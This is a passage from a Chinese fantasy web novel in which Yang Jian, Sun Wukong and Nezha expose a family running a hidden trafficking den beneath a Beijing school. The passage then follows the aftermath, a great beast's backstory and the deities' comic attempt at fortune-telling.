关悦抿唇不语，只要今天林陌桑活着走出这里，那关家就彻底完蛋了。
想到这里，她神色一凛，迅速地从小腿内侧抽出一把短刀。
不过是一刹那的时间，“林陌桑”甚至来不及反应，刀尖的寒光在她眼底一闪而过，眼见刀刃就要插到她身上。
“噗”，关悦被一股大力掀开，身子直直地撞在墙上，刀掉落在地上，却又在一瞬间被不知名的力量控制着，自己从地上飞了起来，向关悦刺去。
门打开，“林陌桑”连忙制止：“阿父！”
“当啷”一声，刀再次落在地上，打落刀的扇子在空中转了一圈，又回到了杨戬的手中。
他们三人迅速地站在了屋子的中间。
而从外面进来的叶星也注意到了他们。
屋子里的形势瞬间就发生了变化，杨戬三人与叶星形成对峙，空气中暗流涌动。
跟在叶星身后的宗承望众人后退一步，默然地看着四人的对峙。
仲秋却很高兴，他拉着“林陌桑”，高兴地对徐嘉凡几人道：“我们没事！”
红原挪到旁边，一把拉过仲秋，“闭嘴吧你！”
仲秋一脸莫名其妙地看着他：“你谁啊？”
杨戬把玩着手中的折扇，对叶星道：“前辈。”
9. 狌狌
叶星似乎对他们的出现早有预料，点头道：“你们来得比我预料的早得多。”
哪吒疑惑，传音道：「他早知道我们会来？」
孙悟空：「从踏足人间界的时候，他们就知道会有再回去的那一天。」
「那他会自己回去吗？」哪吒又问。
杨戬的目光在“林陌桑”身上流转一圈，垂眸回话：「也许吧。」
带着轻轻的叹息。
「但眼下还有更重要的事情。」
气氛缓和下来。
“林陌桑”拉着卫薇走到了叶星身旁，“叶青竹”眼眶泛红地盯着她。
“没事了。”“林陌桑”安慰道。
叶星便要掉头离开，“想必接下来的事情和我们没有关系了吧？”他看着杨戬三人说道。
杨戬说：“也许会和这几位小朋友有关系。”
叶星说：“那我们在上面等着你们。”
杨戬说：“好。”
宗承望目光落在杨戬三人身上，见他们对叶星似乎没有阻拦的意思，领着一群人给他和叶青竹几人让开了道。
红原拉着仲秋跟上他们，路过宗承望的时候见他一直盯着自己，虚张声势道：“我可是和他们一起来的！”
韩全嗤他一声，“没说不让你走。”
红原拉着仲秋逃也似的穿过了人群。
等他们走了，韩全和计明秀立刻说道：“我们要先去找于飞白。”
哪吒找到一张椅子坐下，腿不着地，只好在半空中晃荡着，歪头对韩全道：“哮天在等着你们呢。”
“这个地方和学校的大小是一样的，被抓来的可不只你们的朋友。”孙悟空懒懒提醒道。
宗承望领着一群人去寻人去了。
屋子里只剩下关元辉兄妹二人和奄奄一息的大师。
孙悟空一脚拨开关元辉，坐在了他原本坐着的位置上，杨戬坐在了他的侧边下方的位置，旁边是哪吒。
哪吒用手一拍桌子，“接下来是审判时间！”
孙悟空勾了勾手指，原本躺在地上的大师被迫坐了起来，他胸口的血已经止住，刀还插着。
关悦见着一切，神色变了变，立刻开口道：“我……我有话说！”
关家做生意已经许多年了，前些年的时候一直没有什么起色，算不上差，但在帝都这个随手一抓都是有钱人的地方实在算不上什么角色。
一切的转变要从南东中学的建立开始。
南东中学建立之初关家便有投资，是学校的校董会成员之一。
建校的第二年，关元辉在学校的地底建立了一个地底世界，这里藏污纳垢。
明明头顶就是全世界最光明的地方，下面却做着这世间最肮脏的交易。
一个又一个貌美的学生被送到这里，除了最初的时候有家长来学校闹过，后来能用钱解决的他们都用钱解决了，不能用钱解决的他们也能让一切的质疑销声匿迹。
“这里，死过多少人？”杨戬问她。
关悦擦了擦嘴角的血迹，说：“我不知道。”她指着关元辉：“只有他最清楚。”
关元辉低垂着头不语。
杨戬问关悦：“还有呢？”
关悦手指微微蜷缩，目光放在大师身上。
“南东中学的选址是他一手促成的，他说，这个地方有天然的屏障，不论做了什么，都不会被人发现的。”
也许从一开始，建立这个学校就是为了掩盖他们的罪恶。
“死去的人是有灵魂的。”关悦说。
这也正是让杨戬三人感觉奇怪的地方，这里的一切都被灵气隔绝，死去的那些人是没办法去投胎的，亦或者他们会变成怨灵。但这里是如此地干净，毫无怨气。而那位所谓的大师，也并未被怨灵纠缠，他的身上更是没有沾染太多的人命因果。
“但是，大师有办法让他们灰飞烟灭。”
关元辉慢条斯理地接了这样一句话，随即抬起头来，眸中闪着幽幽的绿光。
“上古真神的灵气，可不是你们能抵挡的！”说着，他举起手恶狠狠地朝杨戬抓去。
杨戬难得地诧异了一顺，手中扇子一抬，轻而易举地将他打落在一边。
哪吒“蹭”地一下，站在了椅子上，连忙问道：“是谁的？”
孙悟空用手抓了一把他身上的灵气，随即却又摇头：“时间太过久远了，辨别不出。”
关元辉已经晕了过去，而关悦再次被吓了一跳，随即指着大师道：“都是他！那些死了的学生，他全都将他们的灵魂也杀掉了，他说……他说这里的灵气会洗掉他所有的因果孽债！”
“灵气……”哪吒喃喃道，“为什么我们来的时候没有发现？”
“太淡了。”杨戬说：“这里的灵气已经几近于消失，只是因为集中在这个地方，所以让他们钻了空子。”
“如果猜得不错，应当是谁在这里修炼时为自己筑的结界。”
这个“谁”自然是指上古妖兽。
“或许，他会知道。”孙悟空抬头看着上面。“他”指的是叶星
“汪汪……”哮天犬从外面进来。
“他们找完人了？”
哮天犬摇了摇尾巴，走到杨戬身边。
“那走吧。”他们起身准备离开。
孙悟空走在最后，在踏出房门的时候，他又回过头，定定地盯着那位大师看了一会儿，抬手一挥。
关悦只看见原本还活生生的人在瞬间就化为灰烬。
门口的人已经不见了，只留下一句：“那你也尝尝灰飞烟灭的滋味吧。”
又是熟悉的足球场。
徐嘉凡这次是真的彻底放松下来了，一上来他就直接一屁股蹲儿坐在了地上，还招呼仲秋：“快过来……”但是看到他身边的红原，又摆了摆手，“算了，你还是去其他地方坐着吧。”
仲秋不满地坐在他旁边：“我可是刚刚死里逃生，你不关心我还要赶我走？是好兄弟吗？”
徐嘉凡觑着他半晌，憋出一句：“算是。”
“什么叫算是？”仲秋瞪大双眼表示不满。
红原已经坐在了仲秋的侧后方，徐嘉凡看仲秋一副什么都不知道的模样，无奈道：“就是……哎呀，是是是！行了吧！”
吕淼淼没有直接坐下，她站在一边提醒徐嘉凡：“嘉凡，你这样会感冒的。”
徐嘉凡说：“没事儿，我体格子好着呢。”
吕淼淼没再说话，只将目光落在旁边的“叶青竹”和“林陌桑”身上，若有所思。
叶星在问卫薇：“你的脸……需要我帮你吗？”
卫薇愣了一下，似乎没想到自己这张脸都已经被划成这样了还能有救，但她很快摇了摇头：“不用。”
叶星并不强求，说：“那你们先休息一下。”又转头对拉着手的“叶青竹”二人说：“你们两个跟我走一趟。”
卫薇走过去和吕淼淼站在一起，仲秋好奇地张望着那边三人的背影：“他们去哪儿啊？”
红原给他脑袋来了一下，“你管呢。”
仲秋抱着头，很是委屈地转身，“大叔你到底是谁啊？”
“我……我是你爸爸的好朋友！”
“我怎么没听我爸提过你。”
徐嘉凡望天，“以后你就会经常看见他了吧。”
吕淼淼抿着唇笑。
卫薇站在一旁不知道在想些什么。
徐嘉凡看了她一眼，还是忍不住问道：“你是卫薇学姐吧？”
卫薇点头：“是。”
“哦……关悦……他们对你做了什么？”尽管刚才在地下的时候他们只待了那么一会儿，但几人看到关悦对“林陌桑”所做的事情，心中也有了个模糊的方向。
卫薇却说：“我的脸是我自己划的。”
卫薇不知道自己算是幸运还是不幸运，她是作为林铖的附庸品被一起带下去的，所以她被晾了许久，也正是这段时间，让她摸清了自己的处境，于是她打碎了一个碗，将自己的脸划得面目全非，又在关悦来的时候向她表了忠心。
幸好去的是关悦，而不是关元辉。
卫薇作为一名服务人员留了下来。
她摸索了很长一段时间，才将将把他们的犯罪链条摸索清楚，但是她同样也被看得很紧，找不到向外界传消息的途径。
一直到有一次关悦说她要去上课，卫薇才从她和关元辉的只言片语中知道了自己所处的位置。
她又蛰伏了一段时间，才将消息放进了关悦经常背着上课的那个包里
那只包的内里有一层很小的夹层，关悦从未用过，于是卫薇用一张只写得下两个小小的字的卫生纸写下了她的第一个求救信号。
石沉大海。
那张纸没有掉落在任何一个地方，庆幸的是关悦没有发现。
后来关悦大抵是真的对她放心了，偶尔还会带几本作业来让卫薇给她改。
英语作业本上的单词很多，关悦每一次都会检查卫薇是否耍了花样，但是没有。
卫薇做得很简单，她只是每一次在一个字母下面打了一个很不起眼的点。
关悦不会注意，但拿到作业本的学生会在意，再聪明一点的人会发现这些字母连在一起代表着什么。
这个方法真的很笨，但是卫薇找不到其他办法了，她只能赌关悦的自大，也赌自己运气。
还好她赌对了。
关悦还没有发现，叶青竹就和她联系上了。
听完她的话，几人沉默良久。
仲秋举起大拇指，“学姐，你是这个。”
吕淼淼也说：“你真厉害！”
徐嘉凡皱着眉，“那桑桑被抓……”
“是故意的。”林陌桑的声音从不远处传来。
叶青竹说：“报警吧，接下来的事情就交给警察来处理。”
吕淼淼开心地看着她们，等林陌桑走近了才小声问她：“换回来了吗？”
林陌桑被她问得愣了一下，但很快反应过来，“嗯。”
徐嘉凡掏出手机，“那我来报警。”
叶星问叶青竹：“是你的计划？”
叶青竹点头：“是。”
她低声道：“我有迷穀的叶子，我也知道这是学校，我不会把自己弄丢的，阿父。”
叶星点了点头，又问她：“那你原本是打算怎么做的？”
叶青竹说：“他们打算把桑桑送去李家，就一定会出来，我让桑桑带着徐嘉凡他们在后校门口守着，只要发现有点动静就立刻报警。”谁能想到他们几个竟然进了学校。
叶星蹙眉，再次问她：“那若是他们不从这里出来呢？若是他们将你打晕了呢？”
叶青竹提醒他：“阿父，我不会被迷晕。”她从小就吸收叶星的灵气，一般人根本伤害不了她。
叶星也提醒她：“那不是你的身体。”
叶青竹既不想让林陌桑涉险，又实在想不到其他办法，于是一合计，直接用叶星给她的灵气让自己和林陌桑来了个灵魂互换。
叶
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青竹叹了口气，说：“我好几天不回家，阿父你一定会来找我的。”
叶星是她最后的底牌。
“我饿了。”仲秋在一旁发出哀嚎。
他这一说，其余几人也都感觉自己肚子空空，折腾了大半夜，虽然好像什么都没做，但却好像耗费了大半的精力。
林陌桑从兜里掏出几块小小的饼干，分给大家。
“吃块饼干就不困了。”
仲秋接过饼干翻来覆去看了半天，“这能顶饿吗？”
“吃了不就知道了。”
林陌桑已经放了一块在嘴巴里。
徐嘉凡也已经吃完了，随即惊讶道：“还真的不饿了。”
仲秋不信，但聊胜于无，也不知道警察什么时候才能来，他们还得去做笔录，不吃点东西是真的受不住。
正打算吃，就见到地下又有人出来了，是杨戬一行人。
他看到孙悟空，眼睛一亮，跑过去问道：“李大哥，你饿不饿，我请你吃饼干。”
“不饿不饿。”孙悟空摆手，“你们吃。”
仲秋迟疑了一下：“那……”
哪吒一手夺过去，“我吃！”
他放到鼻子边嗅了嗅，又还给了仲秋，“还是你吃吧。”
但他还是忍不住传音道：「这老妖兽真是什么宝贝都有。」
前有迷穀树叶子，后有祝余草。
哪吒琢磨了一下，又说：「叶青竹不会真是他女儿吧？」
杨戬：「不是。」
「哦……」
孙悟空弹了哪吒一个脑瓜崩，「不信的话你去问问他。」
哪吒瞄了一眼叶星，估算了一下自己和对方的战力值，说：「若是大圣你与我一同问，我是可以的。」
孙悟空笑：「你怎么还变胆小了？」
哪吒撇嘴：「若是因为我惹恼他，搅得人间界不得安宁，二哥又得头疼了。」他看向杨戬，「是吧二哥？」
杨戬也笑：「是。」
孙悟空听得摇头。
他们谈话的功夫，宗承望也领着韩全一行人上来了。
他向杨戬三人点头打了个招呼，看向林陌桑，问道：“林同学，你父母托我们来找你，你可要与我们一道？”
林陌桑摇头拒绝：“我已经给我妈妈打过电话了，谢谢你们。”
宗承望也不强求，说：“我们的任务已经完成了，后续还有一些问题要处理，就先行离开了。”
他对杨戬三人抱拳，“多谢三位前辈的帮助，等事情忙完，宗某会上门致谢。”
韩全也走上前，摸了摸鼻子对杨戬说：“多谢前辈的符纸，刚刚又救了我一命。”
“答应前辈的事，我一定会去做到的。”
其实这符纸已经不用他去宣传了，在下面的时候就已经被其他人追问了好几遍，相信过不了多久“第一杂货店”的门口就会被玄学界的众多弟子围满。
宗承望一行人离开了，不过他们倒是把关元辉和关悦二人给留了下来，剩下的受害者他们全都带走了，说是会和警察局那边做沟通。
仲秋看着他们的背影，挠了挠头：“那警察还来吗？”
叶青竹踹了关元辉一脚，说：“会来的。”
只是来得不是那么地声势浩大。
许是已经与宗承望那边沟通好了，甚至连警车都没有开，只一辆黑色的大众低调地停在足球场后面的校门口，进来了两个人，向他们出示完自己的证件，就要将关家兄妹二人带走。
连卫薇也不需要。
叶青竹不解，想上前追问，林陌桑拉住了她，低声解释道：“青竹，这件事情牵扯到的人太多了，不可能大张旗鼓地解决。”
也就是说，除了今晚的这些人，没有人会知道这里发生的一切，大家只会在一觉睡醒后发现南东中学的领导层悄然发生了一些变化。
但是也因为林陌桑被牵扯到其中，这件事不会高高拿起轻轻放下，那些该受到惩罚的人必定会受到惩罚。
卫薇努力了许久的事情，在今日这样轻易地就要有了结果，她甚至觉得不真实，直到警察说后续会传唤她去做笔录，甚至作为证人出庭指证他们，她才终于放下心来。
这惊险的一夜就这样无甚波澜地过去了，叶青竹本以为今夜会凶险万分，却不想因为哪吒和他两个哥哥的介入，一切都如此地顺利。
而众人都没有发现，那位大师的消失。
谁在意呢？就像他认为那些灰飞烟灭的灵魂无人在意一样，也无人在意他。
天上的雪又重新落了下来。
此时离天亮不远了，叶星要带着叶青竹一行人离开。
杨戬没有阻拦，只是对他道：“前辈明日若有时间，可以来店里坐一坐，”他顿了顿，“若是前辈没有时间，我们也可以来找你。”
叶星笑得儒雅：“好。”
“那我们先走啦。”徐嘉凡拍拍屁股，对哪吒挥手，“等我休息好了来找你玩。”仲秋跟着他挥了挥手，就被红原拽走了。
哪吒点头，“好。”
吕淼淼抿唇笑：“李大哥、李二哥、哪吒，那我们先走了。”
林陌桑道：“谢谢你们！”她沉吟了两秒钟，对哪吒眨眨眼，“我决定要送你们一份大礼！”
卫薇跟在林陌桑后面，林陌桑邀请她今晚先住在她家。
叶青竹和叶星走在最后。
两人的身后，杨戬眉间闪过冷白色的光，他看见叶青竹的身边，白耳猕猴的背影高大凶猛。
10. 狌狌
大雪落了一夜，铺满整个帝都。
本就冷清的郊区更是了无人烟了。
但丝毫影响不了哪吒的玩雪的乐趣，杂货店的门大大地开着，小巷子里只有他一人在雪地上踩来踩去，不一会儿就推了大大小小好几个雪球，他将他们排列好，一边数一边自言自语道：“这是头，这是身子，这是手……”
孙悟空从屋子里出来，倚在门边，问他：“小藕片儿，你干嘛呢？”
哪吒抬头看着他，“我准备堆一个雪人，大圣你要一起吗？”
见只有他一个人出来，他又歪着头疑惑道：“阎王那小老头儿还没走？”
孙悟空走到他旁边，拿起一个足球大小的雪球掂了掂，摇头说：“没有，这下地府有得忙了。”
昨天夜里，南东中学的结界一消失，随着消失的就是生死簿上的众多名字，给阎王吓得差点撅过去。
所幸他想到杨戬正在凡间办事，一大早就立刻找上门来了。
哪吒想了想说：“他找二哥也没用啊，二哥可管不了地府的事。”
“牵扯到大荒异兽了，就不只是地府的事情了。”孙悟空说完，喊了一声：“哪吒。”
哪吒条件反射地抬起头，一个大雪球迎面而来，糊住了他整张脸。
“孙！悟！空！”
叫喊声响彻云霄。
哪吒抹了一把脸，两手一边一个雪球，不管不顾地朝着孙悟空扔去。早有防备的孙悟空敏捷地躲开，还狡辩道：“我这可是为了陪你玩儿。”
话音刚落，一个大大的雪球直直地落在了他的头顶，砸得他脑袋懵了一瞬间。
孙悟空看着哪吒脸上藏不住的坏笑，揉了揉自己头顶，不满道：“小藕片儿，你玩不起啊。”竟然还动用法术。
“略略略。”哪吒挑了挑眉，“有本事你就打回来。”
“这可是你说的啊！一会儿俺老孙要是给你砸疼了，你可别哭鼻子。”
“谁先认输谁就陪哮天犬做一天狗！”
“好，一言为定！”
小巷子里展开了一场恶战。
孙悟空站在门边，哪吒团着一个雪球朝他兜头扔去，他朝旁边一闪，雪球砸中了从屋子里出来的人。
杨戬站在阎王身后，轻叹了一口气。
倒是被砸了一下的阎王很是淡定，拍了拍身上的雪，露出笑容：“大圣、三太子，可还玩得高兴？”
两人对视一眼，尴尬道：“高兴！高兴！”
“那下官就先走了。”他说了一句，又转身朝杨戬拱了拱手，“还请麻烦真君回天庭复命的时候将情况说明清楚。”
杨戬点头道：“应当的。”
等阎王走了，杨戬才问他们二人，“分出胜负了？”
孙悟空摆了摆手，“不过是为了陪小藕片儿，我可不在意什么输赢。”
哪吒冷哼一声，“今日且放过这猴子了。”
想到阎王走时说的话，哪吒又问：“二哥你要回天庭？”
杨戬沉吟，“要回去与众仙商量一下，人间界的事务我们不插手未必是好事。”
“也是。”孙悟空同意，“那你什么时候回？”
“是我来得不凑巧了？”小巷口的车停下，从车上下来的人正好听到这话。
杨戬看着叶星走来，露出笑容，“前辈来得正是时候。”
叶星是一个人来的。
领着他在屋子里坐定，杨戬给他倒了一杯茶，哪吒坐在对面，目光带着好奇地盯着他。
他还未见过这位大荒异兽的真身，有些难以想象他这儒雅的外形下是怎样凶猛的异兽。
孙悟空一心喝茶，不知在想些什么。
杨戬开门见山地问叶星：“前辈可愿回去？”
叶星喝了一口茶，说：“倘若我不愿呢？”
他说这话是明晃晃地挑衅，面前的这三人却丝毫不在意。
过了好一会儿，孙悟空喝完了杯子里的茶，看着他说：“那我们也有其他的办法。”
“自然。”叶星依旧是笑，“人间界有许多你们的传说，青竹那小丫头也很是喜欢齐天大圣。”
说起叶青竹，他的眉目变得慈祥。
杨戬说：“她是个聪明的孩子。”
“是。”叶星对于别人对叶青竹的夸赞是向来不会谦虚的。
哪吒忍不住问他：“前辈你来人间界多久了？”
“三十一年了。”不是大概多少年，而是清清楚楚的三十一年。
他已经不记得自己做了多少年的妖兽，反正在大荒的那些年他是从未数过的，也许是上万年，亦或许是更长的时间，但那都只是些无聊的记忆罢了。
“我刚来人间界的时候，还不能幻化出人形。”
他落在山里面，不知什么原因，竟然连身体也缩小了。
是一个农民把他带回了家，他家里有一个女儿，腿断了，长年卧病在床。
贫穷的家庭，却没有让父母放弃自己生病的女儿。
他成了这个女孩的玩伴，女孩叫他“星星”。
老农民依然早出晚归，他的老婆也要出去挣钱，只留下他在家里陪自己的女儿。
叶星彼时很是好奇，这个小女孩每天都对他说许多话，说学校的零食，说同学的新衣服，说操场上的跑和跳——原来做人是一件这么有趣的事情。
叶星陪着她，直到在某一天，他化出了人形。
这家人吓了一跳。
淳朴的夫妇俩害怕极了，却还是跪在他面前，求他放过自己的女儿。
叶星并不理他们，而是问道：“我可以留在这里吗？”
“当然可以！”
他将自己变得和那个小女孩一般大，老农民对外称他是自己捡来的孩子。
叶星变成了他们的家人。
他依然每天留在家里陪着那个叫叶平安的女孩。
叶平安可不像她的父母，她一点也不怕叶星，反而对叶星说的大荒很好奇，她让叶星给她讲大荒的奇花异草，猛兽飞禽，然后露出向往的神情，“要是我也能去看看就好了。”随即又神情落寞，“可是我连门都出不去。”
叶星疑惑，问她：“你想出去？”
“想。”叶平安轻声说，“可是我的腿走不了路了。”
叶星用手指在自己手上划开一道口子，血流出来，他放到叶平安的嘴边，说：“那你喝我的血。”
叶平安惊异地望着他，他说：“喝了我的血，你就可以走路了。”<
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等到父母回来，看到的就是叶平安能跑能跳的样子，他们吓了一跳。
夜晚关上门，老夫妻俩一而再地叮嘱这两个孩子，不能把这件事情告诉别人。
叶家夫妇俩甚至让叶星去读书，他和叶平安一起，读同一个班级，他是叶平安的弟弟。
叶家的日子日渐好了起来，他和叶平安慢慢长大。
变故始于两年后，叶平安十二岁那一年，他们一起去镇上读初中。
有一天，家里来了许多人，他们跟叶家夫妇要叶星。
叶家夫妇很果断地拒绝了。
彼时叶星还不懂人的贪婪，叶家夫妇也低估了人性的恶。
那只莫名来到叶家又突然消失的猕猴，来历不明的叶星，长年卧病在床却突然痊愈的叶平安，要想串联起整个故事并不困难。
既然得不到，那就抢。
那些人带了几个所谓的天师来到村里，抱着势在必得的决心，将叶家夫妇捆在一起，追问叶平安和叶星的下落。然而实际上那一天不过是平常的一天，他们两个上山去找草药。
等再回到叶家，就再也没见到叶家夫妇的身影。
后来叶平安没了父母，连最后一面都没有见到。
叶星自然没有放过任何一个人。
但是因果循环，他自大荒而来，人间界的因果无需他承担，可是他不知道这因果竟然会落在叶平安身上。
何其不公。
从十几岁到二十几岁，他一直守在叶平安身边，他得让叶平安平平安安地过完这一生。
叶平安读大学，叶平安谈恋爱，叶平安结婚。
叶星作为她的弟弟没有错过她人生的任何一个瞬间。
后来叶青竹出生，叶平安车祸而亡。
他有许多办法可以留下叶平安的魂魄，但是叶平安拒绝了，她说自己已经偷了太多年的时光，她早就应该死在卧病在床的那一年了，是叶星救了她。
叶平安死后第三年，她的丈夫再娶，叶星将叶青竹接到自己身边养着。
他养叶青竹养得小心翼翼，他用灵力滋养着叶青竹，让她变得和一般人不一样，却又担忧着她的不同会给她带来灾祸，所以他让叶青竹隐藏自己的不同。
“青竹是我姐姐的孩子。”叶星这样称呼叶平安。
“她和一般人类不一样，她可以修行。”
杨戬手指敲打着桌面，“那前辈有什么条件？”
“我希望多年以后，她可以替她的母亲去看一看大荒的花鸟虫兽。”
叶星想让叶青竹修仙，他不是没有去找过叶平安的转世，但是转世终究是转世，她早已忘了叶星，也再也想不起自己做叶平安的那些年岁。
但是叶青竹确确实实是叶平安血脉的延续。
孙悟空回想了一下叶青竹的模样，说：“这个小姑娘确实适合修仙。”
杨戬说：“我会让人间界的修行者收她做弟子。”
叶星摇头：“不。”他缓缓道：“人间界的灵气稀薄，更何况如果仙界早已不管人间界的事情，她要想飞升，不仅要修行，还要积攒功德，时间来不及。”
“那？”杨戬三人对视一眼。
“不如你们三位亲自教导她。”
11. 狌狌
叶星没有得到自己满意的答案。
而杨戬在当天下午就回了天庭。
只过了两天，南东中学又重新开学了，学生们照例回学校上课，除了哪吒和叶青竹他们几人，无人知晓在那个夜里发生的故事。
但突然换班主任的事确实也在班上引发了一阵热议。
而因为放了那两天假，学生们连读了两个星期才得到放周末。
依然是人潮拥挤的校门口，只是这一次哪吒一出校门就看到了对面路口懒散站着的孙悟空，他跑过去，问道：“二哥还没回来吗？”
孙悟空带着他往旁边的小摊走去，边走边说：“还没有。”他等到了摊边，他指了指里面的糖葫芦，问哪吒：“想吃吗？”
哪吒看着里面又红又大的糖葫芦，犹豫了一下还是老实点头：“想吃。”
孙悟空立刻自信地从兜里掏出两张十块钱，“我请你。”
哪吒瞪大眼，疑惑：“你哪里来的钱？”
孙悟空：“别管。”
哪吒便真的不再继续问下去，指了一串糖葫芦对老板说：“我要这个。”
“我要这一串。”孙悟空指了旁边的一串。
哪吒斜眼看他，说：“是你想吃吧？”
孙悟空付了钱，手很快地撕开了包装纸，吃了一颗，说：“我可是为了请你。”
哪吒也照着他的样子吃了起来，点头敷衍道：“是是是。”
“回家吧。”
两人穿过人潮，很快就找到了一个空无人烟的小巷子，只一眨眼的功夫，就回到了杂货店里。
吃完了糖葫芦，哪吒还是没忍得住问道：“大圣，你到底哪里来的钱？”不会是偷的吧？
孙悟空坐在椅子上，双手枕着头，悠闲道：“我去接你的时候，看到旁边有个骗子在算命。”
“啊？”哪吒打断了他，“你揍他了？”
孙悟空睁眼看了他一下，说：“都是些营生手段罢了，他又未曾做出伤天害理的事来，我就指点了他两句。”
“结果他就非要拜我为师。”
哪吒问他：“你怎么指点的？”
“孙悟空一笑：“嘿嘿，我给他算了一卦。”
哪吒无语地看着他：“……”
孙悟空很是得意，“可不是什么人都能做俺老孙的弟子，我就收了他的钱。”
“他说这是市场价。”
哪吒听完，又若有所思。
孙悟空悠闲地哼上了小调。
两人无话良久，哪吒又问道：“大圣，你还想不想赚更多的钱？”
孙悟空停了声音，挠了挠头，问他：“你是说……”
哪吒点了点头，“我们也去给人算命！”
“反正二哥一时半会儿不会回来，况且我们也只告知他们的近况，应该不算干扰人间界的事务吧？”
孙悟空皱眉，沉思，然后点头，“对！不算！”
两人也是行动派，马上就动了起来。
帝都是一个很包容的城市，每天都来往着各式各样不同的人，每个繁华的街区都有那么一些特立独行的人站在路边吸引人的注意力。
而今天，望江路的路口最惹人休息的当属孙悟空和哪吒了。
为了招来生意，两人还特意竖了一块牌匾——古色古香的金边，漆了红色的面，上书金灿灿的两个大字：算命。
再走近一看这两人，穿着卫衣的青年人白净高大，利落的短发越显精神，但偏偏戴一副黑色的圆片眼镜，也不知能不能在夜间看得清路。他身旁的小孩儿不过及他腰那么高，穿得倒是飒爽炫酷，只是也戴了同款的眼镜两只手捧着个签桶，嘴里还吆喝着：“算命算命，买不了吃亏买不了上当，二十块钱一卦，不准不要钱。”
还当真有人上前来问：“二十块钱一卦？这么便宜？”
哪吒低着头，两只眼睛从眼镜上面露出来，神情严肃：“不准不要钱。”
他这副模样给那人逗笑了，掏出手机就要扫码，“行，不管准不准，来一卦。”
哪吒拦住他：“先生，我们只收现金。”
男人一边掏钱一边问他：“是有什么门道吗？”
哪吒摇了摇头，做高不可深状。
男人付了钱，孙悟空把眼镜拿下来，上下打量了他一番，说：“这两天离水远一点。”
男人点了点头，等着他继续说下去，可过了半晌，也没等到孙悟空再说话，他惊讶道：“没了？”
孙悟空也疑惑：“你不是只算一卦吗？”
男人也不计较，笑着说：“是。”
他也没管真的还是假的，反倒掏出一张名片，说：“你们很缺钱吧？要不要去我们公司？我让你们出道，做大明星。”
他最开始注意到的就是这两人的外貌和气质，做星探这么多年，他见过太多好看的人了，但是这兄弟二人，不单单是容貌，这样的气质，娱乐圈太少见了。就这样直愣愣地站在人堆里，都让人感觉到不一样，不只是容貌，还有气质，他们站着，就是焦点。
孙悟空和哪吒对视一眼，齐齐摇头：“不用了。”
男人也不纠缠，把名片给了哪吒，说：“你们可以回去考虑考虑，考虑好了给我打电话，我随时都有时间。”说完他就走了。
而此时围观的人群终于得以上前来，却都不是来算命的。
众人围着他们二人，有人掏出手机拍照，有人问孙悟空：“小哥哥，可以加个微信吗？”也有人问哪吒：“小朋友，姐姐请你吃肯德基好不好？”
“大师，给我算算我和你适合吗？”
“大师，给我算算我们俩的结婚日期呗。”
“大师……”
眼见人越来越多，两人赶紧收了牌子，从人堆里狼狈地挤了出来，跑了老远的路才敢停下。
哪吒抬头望天，“现在的人怎么这么可怕？”
孙悟空拍了拍胸脯，“吓死俺老孙了，这些女施主……”他想了一会儿，形容道：“也太不矜持了。”
哪吒也一屁股坐在地上，摇摇头说：“看来这生意是做不成的了。”
于是揣着20块钱，两人回了杂货店。
推开门，两人一眼就看见了坐在茶桌旁边的杨戬和另外几人。
两人立刻摆正身子走进屋。
杨戬正在给对面的女士斟茶，头也没回道：“回来了。”
对面的女士对哪吒温柔地笑了笑，说：“你就是李哪吒同学吧？”
孙悟空和杨戬走过去坐在杨戬身边，哪吒点了点头，说：“是的，你好。”
杨戬给他们做介绍：“这是林同学的父母和哥哥。”又对林家三人说：“这是我大哥和三弟。”
林父向孙悟空伸出手：“你好。”
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杨戬立刻传音：「握手。」
孙悟空跟林父握了握手，说：“你好。”
林母喝了一口茶，感谢道：“这次多亏了你们。”
杨戬：“这是我们应该做的。”
林父摆摆手，“不不不，哪里有什么应该的？还是因为三位都是好人。”
说起女儿，林父嘴里的话就停不下来了，“我们家桑桑从小养到大长到大没吃过一点苦、受过一点罪，就是读书是因为她硬要在学校住，说是和同学增进感情，我们才应允她住校的。这次可把她妈妈给吓着了，我们都不敢想要是……”他根本不敢想另一种结局，哽咽着止住了话题。
孙悟空大大咧咧道：“你们家那个小丫头，吉人自有天相，就是没有我们她也不会有事的。”
林父林母对视一眼，想到林陌桑说的那些话，又想到他们开的这个店，忍不住进一步问道：“先生何出此言？”
杨戬止住了话头：“天机不可泄露。”
二人便不再问下去。
又说起了关家的事情，外界自然是一点风声没听到，只知道关家一夜之间就倒了台，其中牵扯到的众多人物一个也没逃得掉，只是那些无辜的孩子，林家和玄学界那边共同在处理后续的事情。
南东中学的董事会也大换血，林家成了持股最多的董事，林陌桑的哥哥直接入驻董事会，成了学校的董事长。
但显然他们今日来不是说这件事的。
林母环视了一圈这个店铺，试探性地问道：“你们开这个店在这里是有什么风水上的说法吗？”
杨戬抬茶杯的手一顿，“不是。”
哪吒小声道：“是因为没钱。”
林父连忙说：“那你们想不想把店铺迁到其他地方去？”
孙悟空传音：「他们这是什么意思？」
哪吒说：「这还不明显？他们肯定是要送我们一个新的店铺。」
林母补充：“我们家在学校外面正好有一间铺子，一直没有租出去，不如你们把店搬到那里去。”
“你们放心，不收租金。”
她说完，就连一直没有说话的林家大哥也小心翼翼地盯着他们，生怕他们不同意，杨戬却很是不客气：“那就多谢了。”
这场谈话于是就这样愉快地结束了，林家三人出了门，林家大哥转头道：“最多一个星期就能装修好，下个月你们就可以将店铺搬过去了。”
杨戬微笑感谢：“麻烦你们了。”
林大哥走了几步，孙悟空叫住了他：“你这几天别去小……哪吒他们学校了。”
等人都走了，杨戬才转头看孙悟空，“为何要提醒他？”
孙悟空摆手：“不过是无伤大雅的烂桃花，即便我不提，他也能躲过，只是多些麻烦。”他笑嘻嘻看着杨戬：“再说，你也没阻止我。”
杨戬摇头不语。
哪吒迫不及待地问杨戬：“二哥，你去天庭这么久，是不是把那群老家伙说服了？”
“是。”
杨戬此次回天庭，一是帮阎王说明情况，二是说服众仙重新与人间界联系。
这次的事情让他们意识到，倘若他们真的一直对人间界袖手旁观，不介入人间因果，等到这些大荒异兽酿出大错，可就来不及了。
更何况这样一来，叶星提出的要求，便有了不一样的解决办法。
12.狌狌
翌日，大雪，整座城市再次蒙上一片雪白。
韩全带着宗承望几人站在杂货店门前。
“就是这里。”韩全指着那块写着“三界第一杂货店”的牌子说道。
计明秀瞪大眼睛，“这里？”
别说她了，就连宗承望也不敢相信。
就这个狭窄得只能过得了一个人的门，外面看起来像没人住一样的房子，是那三个看起来高深莫测的前辈的住处？
门却在这时开了，哪吒站在门口跟他们说道：“要买东西就进门。”
宗承望说：“我们是来拜访三位的。”
哪吒感到奇怪，但还是让他们进了门。
